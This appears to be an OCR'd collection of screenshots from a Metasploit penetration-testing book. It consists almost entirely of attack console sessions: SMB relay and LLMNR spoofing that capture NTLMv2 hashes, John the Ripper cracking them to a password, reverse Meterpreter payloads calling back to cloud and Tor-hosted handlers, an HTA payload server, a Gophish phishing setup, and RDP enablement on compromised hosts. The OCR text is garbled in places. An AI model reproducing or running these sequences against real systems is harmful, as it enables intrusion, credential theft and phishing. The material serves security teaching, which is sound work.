msf exploit( ) > set SMBHOST 192.168.216.55
SMBHOST => 192.168.216.55
msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit( ) > set LHOST 192.168.216.5
LHOST => 192.168.216.5
msf exploit( ) > set LPORT 443
LPORT => 443
msf exploit( ) > run
Exploit running as background job 0.
exploit( ) >
Started HTTPS reverse handler on https://192.168.216.5:443
Server started.
exploit(

http://bettercap.org/

[I] Starting [ spoofing:v discovery:x sniffer:x tcp-proxy:x udp-proxy:x http-proxy:v https-proxy:x sslstrip:v
http-server:x dns-server:v' ] ...

[I] [etho] 192.168.216.5 : 00:0C:29:B2:13:3B / eth@ ( VMware )

[I] Found NetBIOS name 'VAGRANT-2008R2' for address 192.168.216.10

[I] [GATEWAY] 192.168.216.2 : 00:50:56:E3:FD:60 ( VMware )

[I] [DNS] Starting on 192.168.216.5:5300 ...

[I] [TARGET] 192.168.216.10 : 00:0C:29:38:B3:A9 / VAGRANT-2008R2 ( VMware )
[I] [HTTP] Proxy starting on 192.168.216.5:8080 ...
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Extracting NTLMSSP CHALLENGE from 192.168.216.55

Forwarding the NTLMSSP CHALLENGE to 192.168.216.10:58098

Extracting the NTLMSSP AUTH resolution from 192.168.216.10:58098, and sending Logon Failure response

Forwarding the NTLMSSP AUTH resolution to 192.168.216.55
[+] SMB auth relay against 192.168.216.55 succeeded

Ignoring request from 192.168.216.55, attack already in progress.

https://192.168.216.5:443 handling request from 192.168.216.55; (UUID: izp3ylzk) Staging x86 payload (1808
25 bytes) ...

Meterpreter session 1 opened (192.168.216.5:443 -> 192.168.216.55:62399) at 2018-01-28 06:38:55 -0500
msf exploit( ) > sessions 1

Starting interaction with 1...

meterpreter > sysinfo

Computer ¢ IE1IWIN7

0s : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86

System Language : en_US

Domain : METASPLOIT

Logged On Users : 4

Meterpreter ¢ x86/windows

meterpreter >

f > use auxiliary/server/capture/smb
f auxiliary( ) > set JOHNPWFILE /root/smb
HNPWFILE => /root/smb
f auxiliary( ) > run
Auxiliary module running as background job 0.
msf auxiliary( D >
Server started.
msf auxiliary( D > SMB Captured - 2018-01-28 06:54:27 -0500
NTLMv2 Response Captured from 192.168.216.10:52838 - 192.168.216.10
USER:Jack DOMAIN:METASPLOIT OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH: a5e18ece9f40437b6019457e2977f07e
NT_CLIENT_CHALLENGE :01010000000000002dd20fce7198d301206fadd860d4305a00000000020000000000000000000000
SMB Captured - 2018-01-28 06:54:27 -0500
NTLMv2 Response Captured from 192.168.216.10:52838 - 192.168.216.10
USER:Jack DOMAIN:METASPLOIT OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH: 827aa41a6b81903874e84a593e7df54a
NT_CLIENT_CHALLENGE : 0101000000000000bfd02ece7198d301c62558161710479800000000020000000000000000000000
msf auxiliary( D >
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:~# john --wordlist=password.lst smb_netntlmv2
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (netntlmv2, NTLMvZ2 C/R [MD4 HMAC-MD5 32/64]1)
Press 'q' or Ctrl-C to abort, almost any other key for status
P4ssword (Jack)
P4ssword (Jack)
2g 0:00:00:00 DONE (2018-01-28 06:56) 40.00g/s 220.0p/s 440.0c/s 440.0C/s P4ssword
Use the "--show" option to display all of the cracked passwords reliably
Session completed
D #

msf > use auxiliary/server/capture/smb
msf auxiliary( ) > set JOHNPWFILE /root/ntlmv2-1lmnr
JOHNPWFILE => /root/ntlmv2-1lmnr
msf auxiliary( ) > run
Auxiliary module running as background job @.
sf auxiliary(C D >
Server started.

msf auxiliary( ) > use auxiliary/spoof/1lmnr/1lmnr_response
f auxiliary( ) > set SPOOFIP 192.168.216.5
SPOOFIP => 192.168.216.5
msf auxiliary( ) > run
Auxiliary module running as background job 1.
sf auxiliary( D >
LLMNR Spoofer started. Listening for LLMNR requests with REGEX "(?-mix:.*)" .
[+] 192.168.216.10 1lmnr - fileserver. matches regex, responding with 192.168. 216 5
[+] 192.168.216.10 1lmnr - fileserver. matches regex, responding with 192.168.216.5
SMB Captured - 2018-01-29 17:07:31 -0500
NTLMv2 Response Captured from 192.168.216.10:60064 - 192.168.216.10
USER:Jack DOMAIN:METASPLOIT 0S: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:3002c770131a5884abcd4047b916@9fa
NT_CLIENT_CHALLENGE :0101000000000000bbfcec3c9099d301d23ba24e99¢9cb7600000000020000000000000000000000
SMB Captured - 2018-01-29 17:07:31 -0500
NTLMv2 Response Captured from 192.168.216.10:60064 - 192.168.216.10
USER:Jack DOMAIN:METASPLOIT 0S: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:08889e70ead5751fddcfdba7cdb@96e0
NT_CLIENT_CHALLENGE :01010000000000009936073d9099d301d151aea3960bd7300000000020000000000000000000000
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:~# john --wordlist=password.lst /root/ntlmv2-11lmnr_netntlmv2
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]1)
Press 'q' or Ctrl-C to abort, almost any other key for status
P4ssword (Jack)

P4ssword (Jack)
2g 0:00:00:00 DONE (2018-01-29 17:12) 50.00g/s 275.0p/s 550.0c/s 550.0C/s P4ssword
Use the "--show" option to display all of the cracked passwords reliably
Session completed
#
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Chapter 12: Cloud Penetration Testing

f.) Droplets Spaces Images Networking Monitoring APl  Support

Enhance the security of your account by enabling two-factor authentication.

Droplets

Droplets Volumes

Looks like you don’t have any Droplets.

Fortunately, it's very easy to create one.

Create Droplet

-_
Create VvV Gg
Enable Two-factor Authentication
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9 Droplets Spaces |Images Networking Monitoring APl  Support

e

Enhance the security of your account by enabling two-factor authentication. Enable Two-factor Authentication

Create Droplets

Choose an image -

Distributions Container distributions One-click apps

Q

Ubuntu

16.04.3 x64 v

Finalize and create

How many Droplets? Choose a hostname
Deploy multiple Droplets with the same Give your Droplets an identifying name you will remember them by. Your Droplet name can
configuration . only contain alphanumeric characters, dashes, and periods.
1 Droplet + Metasploit
Add Tags

Dl’Op|etS Search by Droplet name

Droplets Volumes

Name IP Address Created Tags

Metasploit
0 P

. L 178.62.240.90 Good to go! More v
® 4GB/80 GB Disk/AMS3 - Ubuntu 16.04.3 x64

[91]



Graphic bundle

Enhance the security of your account by enabling two-factor authentication Enable Two-factor Authentication

0 Metasploit <

4 GB Memory / 80 GB Disk / AMS3

ipv4: 178.62.240.90 ipv6: Enable now Private IP: Enable now Floating IP: Enable now Console: O

Console access

Access
This will open up a console VNC connection to your Droplet and is the equivalent of plugging a monitor and
keyboard directly to your virtual server.

Launch Console

Reset root password

This will shut down your Droplet and a new root password will be set and emailed to you.

Do you wish to proceed?

Reset Root Password

Ubuntu 16.04.3 LTS Metasploit ttyl
login: root

1 in: HWed Feb 7 10:24: UTC 2018 from

Héln:n:nme to Ubuntu 16.04 S (GNU/Linux 4.4.0-112-

Documentation: http
M nt: htty
: htty

Get cloud support with Ubuntu A
http://www. ubuntu /busi

0 pack can be updated.
0 updat are security updates.

root@Meta

[92]



Graphic bundle

3Kom SuperHack II Lo

User Name:

jord:
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MY ACCOUNT PORTAL

. . - . FREE ACCO
Why Azure Solutions  Products ~ Documentation Pricing Training Marketplace Partners Mor

Manage your Azure account

Azure portal Usage and billing

Configure and use Azure services Track your Azure usage and view your bill

Summary for Windows Azure MSDN - Visual Studio
Ultimate

O Ths swbscrption has ony $3818 crad remaring. Remave the spanding it

s

I @®

boear e O]

Azure portal Usage and billin
=el 4 g 9 > ﬂ Chat live with an agent
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Microsoft Azure New > KaliLinux

(KAL) Kali Linux

Kali Linux

New Bring Your Own License enabled.
Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security
Dashboard Auditing. Kali contains several hundred tools which are geared towards various information security
tasks, such as Penetration Testing, Security research, Computer Forensics and Reverse Engineering.

Resource groups .
training company.

All resources Installation Defaults

Recent e Credentials: User provided password or SSH keys
e Services: SSH
e Ports: 22

App Services

Usage Instructions
SQL databases

Once your instance is running, connect to it with your SSH private key using the account you created
Virtual machines (classic) during setup. Don't forget to update your Kali instance to get the latest packages and bug fixes.
Type as root (or sudo): apt update && apt dist-upgrade.

Virtual machines
Nvidia GPU Support

Cloud services (classic) To take advantage of CUDA computation, select an NC Series Virtual Machine.

Subscriptions Azure Penetration Testing

Azure Active Directory Select a deployment model @

Resource Manager v
Monitor

@ Ssecuritv Center

More services >

Want to deploy programmatically? Get started =
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Microsoft Azure New > KaliLinux > Create virtual machine > Basics pe) @ > 3O @
= Create virtual machine X Basics
+ Rl * Name
1 Basics . . > | Kali
Dashboard Configure basic settings
VM disk type @
Resource groups P o
All resources 2 Choose virtual machine size * User name
notroot
Recent
3 * Authentication type
App Services Configure optional features SSH public key
SQL databases * Password
Virtual machines (classic) 4 Kali Linux
* Confirm password
Virtual machines [ |
Cloud services (classic) Subscription
Plataformas MSDN v
Subscriptions
* Resource group @
Azure Active Directory © Create new Use existing
. | KaliGroup
Monitor
More services > “
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B Cloud Shell

8B 2\ Cloud Shell X +

root@cloudshell:~$ msfconsole
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running
wake up, Neo...
the matrix has you

follow the white rabbit.

knock, knock, Neo.

https://metasploit.com

=[ metasploit v4.16.37-dev-

=[ 509 payloads - 40 encoders - 10 nops
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp

]
]
]
]
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msf > use payload/windows/meterpreter/reverse_hop_http

msf payload( ) > set HOPURL http://178.62.240.90/hop.php

HOPURL => http://178.62.24@.90/hop.php

msf payload( ) > generate -t exe -f /root/hop.exe
Writing 73802 bytes to /root/hop.exe...

msf payload( ) >

msf > use exploit/multi/handler
msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_hop_http
PAYLOAD => windows/meterpreter/reverse_hop_http

msf exploit( ) > set HOPURL http://178.62.24@.90/hop.php

HOPURL => http://178.62.2490.90/hop.php

msf exploit( ) > exploit

Preparing stage for next session r6Ft_Borhzz74]glSZ1lnq

Patched URL at offset 663896...

Starting the payload handler...

Uploaded stage to hop http://178.62.240.90/hop.php?/

Meterpreter session 1 opened (Hop client -> 178.62.240.90:80) at 2018-02-07 13:00:44 +0000
Preparing stage for next session ZOxA_111Hd3bUTEdSbiSf

Patched URL at offset 66389%...

meterpreter >
Uploaded stage to hop http://178.62.240.90/hop.php?/
meterpreter > sysinfo
Computer : PC
0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : pt_PT
Meterpreter : x86/win32
meterpreter >

root@Metasploit:~# ./gophish

2018/02/07 15:15:04 worker.go:26: Background Worker Started Successfully - Waiting for Campaigns
goose: no migrations to run. current version: 20171208201932

2018/02/07 15:15:04 gophish.go:115: Starting phishing server at http://0.0.0.0:80

2018/02/07 15:15:04 gophish.go:98: Starting admin server at https://0.0.0.0:3333
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Dashboard

Campaigns
Users & Groups
Email Templates
Landing Pages
Sending Profiles

Settings

User Guide

APl Documentation

Dashboard

No campaigns created yet. Let's create one!
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New Sending Profile

Name:
Interface Type:
From:

Host:
Username:

Password:

Ignore Certificate Errors @
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msf > use exploit/windows/misc/hta_server
msf exploit( ) > set SRVHOST 178.62.240.90
SRVHOST => 178.62.240.90
msf exploit( ) > set SRVPORT 80
SRVPORT => 80
msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit( ) > set LHOST 178.62.240.90
LHOST => 178.62.240.90
msf exploit( ) > set LPORT 443
LPORT => 443
msf exploit( ) > run
Exploit running as background job 0.
exploit( ) >
Started HTTPS reverse handler on https://178.62.240.90:443
Using URL: http://178.62.240.90:80/ICRjYc.hta
Server started.
exploit( ) >

msf exploit( ) > 89.154.253.173  hta_server - Delivering Payload
89.154.253.173  hta_server - Delivering Payload
https://178.62.240.90:443 handling request from 89.154.253.173; (UUID: mviSgtrk) Staging x86 payload (180825 bytes) ...

Meterpreter session 1 opened (178.62.240.90:443 -> 89.154.253.173:56746) at 2018-02-07 15:53:56 +0000

msf exploit( ) > sessions 1

Starting interaction with 1...

meterpreter > sysinfo

Computer : IESWIN?7

0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86

System Language : en_US

Domain : WORKGROUP

Logged On Users : 3

Meterpreter : x86/windows

meterpreter >
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Microsoft Azure New P Q> & O @ danelieiadgm. &
= S

New
O Search the Marketplace

Dashboard
Azure Marketplace Seeall  Featured See all

Resource groups

Get started “> Virtual network
All resources Learn more

Recently created

o Compute Load Balancer
ey ot T T T n 1 @ Learn more
App Services 4 Networking |
SQL databases Storage @ Application Gateway
Web + Mobile Learn more
Virtual machines (classic) .
Containers .
Virtual network gateway
More services > Databases <& Learn more
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Chapter 13: Best Practices

KALI

Kali Linux Downloads

Download Kali Linux Images

We generate fresh Kali Linux image files every few months, which we make available for download. This page provides
the links to download Kali Linux in its latest official release. For a release history, check our Kali Linux Releases page.
Please note: You can find unofficial, untested weekly releases at http://cdimage.kali.org/kali-weekly/.

Image Name Download Size = Version sha256sum
Kali Linux 64 Bit HTTP | Torrent | 2.9G 2018.1 ed88466834ceeba65f426235ec191fb3580f71d50364ac5131daec1 bf976b317
Kali Linux 32 Bit HTTP | Torrent | 2.9G 2018.1 b5412782063b63853652c00248631c4a18c92b8c4e3618dbOb1b{751b495149f

MacBook-Pro:Downloads daniel$ shasum -a 256 kali-linux-2018.1-amd64.iso
ed88466834ceebab65f426235ec191fb3580f71d50364ac5131daeclbf976b317 kali-1linux-2018.1-amd64.iso

MacBook-Pro:Downloads daniel$
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| [11] Partition disks |
The installer can guide you through partitioning a disk (using different standard
schemes) or, if you prefer, you can do it manually. With guided partitioning you will
still have a chance later to rewview and customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk
should be used.

Partitioning method:

Guided - use entire disk
Guided - use entire disk and set up LWM

Guided - use entire disk and =et up encrypted LWM
Manusal

<Go Back:

root@kali:~# msfvenom -p windows/meterpreter_reverse_http LHOST=c2iznz6zbpptqrvt.onion.link LPORT=80 -o btor.exe -f exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 180825 bytes

Final size of exe file: 256000 bytes

Saved as: btor.exe

root@kali:~#

msf > use exploit/multi/handler

msf exploit( ) > set payload windows/meterpreter_reverse_http

payload => windows/meterpreter_reverse_http

msf exploit( ) > set LHOST 10.17.0.5
LHOST => 10.17.0.5
msf exploit( ) > set LPORT 9999
LPORT => 9999
msf exploit( ) > exploit -j

Exploit running as background job 0.

Started HTTP reverse handler on http://10.17.0.5:9999
msf exploit( ) >
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sf > use exploit/multi/handler
msf exploit( ) > set payload windows/meterpreter_reverse_http
payload => windows/meterpreter_reverse_http
msf exploit( ) > set LHOST 10.17.0.5
LHOST => 10.17.0.5
msf exploit( ) > set LPORT 9999
LPORT => 9999
msf exploit( ) > exploit -j
Exploit running as background job 0.

Started HTTP reverse handler on http://10.17.0.5:9999
msf exploit( ) > http://10.17.0.5:9999 handling request from 10.17.0.5; (UUID: 6tzlwlh9) Redirecting sta
geless connection from /9zGHzakzUq47zzr0YU6o-Amw3dtyS5fuoHTpzK8YQAnlmePelJTfFfIm2DyQk with UA 'desktop’
http://10.17.0.5:9999 handling request from 10.17.0.5; (UUID: 6tzlwlh9) Attaching orphaned/stageless session...
Meterpreter session 1 opened (10.17.0.5:9999 -> 10.17.0.5:51424) at 2018-02-12 13:17:10 +0000

msf exploit( ) > sessions 1
Starting interaction with 1...

meterpreter >

msf > show options

Global Options:

Current Setting Description

Consolelogging Log all console input and output

LogLevel 0 Verbosity of logs (default @, max 3)

MinimumRank The minimum rank of exploits that will run without explicit confirmation
Prompt The prompt string

PromptChar The prompt character

PromptTimeFormat %Y-%m-%d ¥H:¥M:%S Format for timestamp escapes in prompts

SessionLogging false Log all input and output for sessions

TimestampOutput false Prefix all console output with a timestamp

f >

:~# cat .msf4/logs/console.log
[*] Console logging started: 2018-02-12 14:59:53 +0000

ConsolelLogging => true

msf > use exploit/multi/script/web_delivery msf exploit( ) > set TARGET 2TARGET => 2

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcpPAYLOAD => windows/meterpreter/rever
se_tcp

msf exploit( ) > set LHOST 172.16.40.5 LHOST => 172.16.40.5

msf exploit( ) > exploit Exploit running as background job 0.

msf exploit( ) > msf exploit( ) > sessions 1 Starting interaction wit
h1...
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:~# cat .msf4/logs/sessions/20180212_2_172.16.40.148_meterpreter.log

[02/12/2018 15:08:02]
[*] Logging started: 2018-02-12 15:08:02 +0000
[02/12/2018 15:08:02] load stdapi
[02/12/2018 15:08:03] load priv
[02/12/2018 15:08:09] meterpreter >
[02/12/2018 15:08:09] getuid
[02/12/2018 15:08:09] Server username: PC\User
[02/12/2018 15:08:11] meterpreter >[02/12/2018 15:08:11] meterpreter >[02/12/2018 15:08:11] meterpreter >
[02/12/2018 15:08:11] sysinfo
[02/12/2018 15:08:11] Computer : PC
[02/12/2018 15:08:11] 0S : Windows 7 (Build 7601, Service Pack 1).
[02/12/2018 15:08:11] Architecture : x86

15:08: System Language : pt_PT

15:08: Domain : WORKGROUP

15:08: Logged On Users : 1
[02/12/2018 15:08: Meterpreter : x86/windows

:~# cat .msf4/logs/framework.log
[02/12/2018 15:14:04] [e(@)] core: Exploit failed (multi/script/web_delivery): windows/meterpreter/reverse_tcp is not a compatible payload.
[02/12/2018 15:19:17] [d(3)] core: Checking compat [windows/meterpreter/reverse_tcp with multi/script/web_delivery]: reverse to reverse
[02/12/2018 15:19:17] [d(3)] core: Checking compat [windows/meterpreter/reverse_tcp with multi/script/web_delivery]: bind to reverse
[02/12/2018 15:19:17] [d(3)] core: Checking compat [windows/meterpreter/reverse_tcp with multi/script/web_delivery]: noconn to reverse
[02/12/2018 15:19:17] [d(3)] core: Checking compat [windows/meterpreter/reverse_tcp with multi/script/web_delivery]: none to reverse
[02/12/2018 15:19:17] [d(3)] core: Checking compat [windows/meterpreter/reverse_tcp with multi/script/web_delivery]: tunnel to reverse
[02/12/2018 15:19:17] [d(1)] core: Module windows/meterpreter/reverse_tcp is compatible with multi/script/web_delivery

#

msf > set ConsoleLogging true
Console logging is now enabled.
ConsoleLogging => true
msf > set SessionLogging true
Session logging will be enabled for future sessions.
SessionLogging => true
msf > makerc /root/.msf4/msfconsole.rc
Saving last 2 commands to /root/.msf4/msfconsole.rc ...
msf >

msf > hosts -0 /root/hosts.csv
Wrote hosts to /root/hosts.csv
msf > cat /root/hosts.csv
exec: cat /root/hosts.csv

address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.40.149","" , "DESKTOP-PI8214R", "Windows 10","","","client","",""
msf >
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meterpreter > run winenum
Running Windows Local Enumeration Meterpreter Script

New session on 172.16.40.149:50081. ..
Saving general report to /root/.msf4/logs/scripts/winenum/DESKTOP-PI8214R_20180214.4312/DESKTOP-PI8214R_20180214.4312.txt
Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/DESKTOP-PI8214R_20180214.4312
Checking if DESKTOP-PI8214R is a Virtual Machine
This is a WMWare virtual Machine
UAC is Enabled
Getting Tokens...
All tokens have been processed
Done!
meterpreter >

exec: cat /root/.msf4/logs/scripts/winenum/DESKTOP-PI8214R_20180214.4312/DESKTOP-P18214R_20180214.4312.txt

Date: 2018-02-14.10:43:12

Running as: DESKTOP-PI8214R\User
DESKTOP-PI8214R

0S: Windows 10 (Build 10586).

This is a VMWare virtual Machine

msf >

msf > use post/windows/manage/enable_rdp

msf post( ) > set SESSION 3
SESSION => 3

msf post( ) > run

Enabling Remote Desktop
RDP is disabled; enabling it ...
Setting Terminal Services service startup mode
The Terminal Services service is not set to auto, changing it to auto ...
Opening port in local firewall if necessary
For cleanup execute Meterpreter resource file: /root/.msf4/loot/20180214105252_Doc_172.16.40.149_host.windows.cle_035888.txt
Post module execution completed
msf post( ) >

meterpreter > resource /root/.msf4/1oot/20180214105252_Doc_172.16.40.149_host.windows.cle_035888.txt
Processing /root/.msf4/10ot/20180214105252_Doc_172.16.40.149_host.windows.cle_035888.txt for ERB directives.
resource (/root/.msf4/1oot/20180214105252_Doc_172.16.40.149_host.windows.cle_035888.txt)> reg setval -k 'HKLM\System\CurrentCont
rolSet\Control\Terminal Server' -v 'fDenyTSConnections' -d "1"
Successfully set fDenyTSConnections of REG_SZ.
resource (/root/.msf4/1oot/20180214105252_Doc_172.16.40.149_host.windows.cle_035888.txt)> execute -H -f cmd.exe -a "/c sc config
termservice start= disabled"
Process 2612 created.
resource (/root/.msf4/1oot/20180214105252_Doc_172.16.40.149_host.windows.cle_035888.txt)> execute -H -f cmd.exe -a "/c sc stop t
ermservice"
Process 2748 created.
resource (/root/.msf4/1oot/20180214105252_Doc_172.16.40.149_host.windows.cle_035888.txt)> execute -H -f cmd.exe -a "/c 'netsh fi
rewdll set service type = remotedesktop mode = enable'"
Process 2324 created.
meterpreter >
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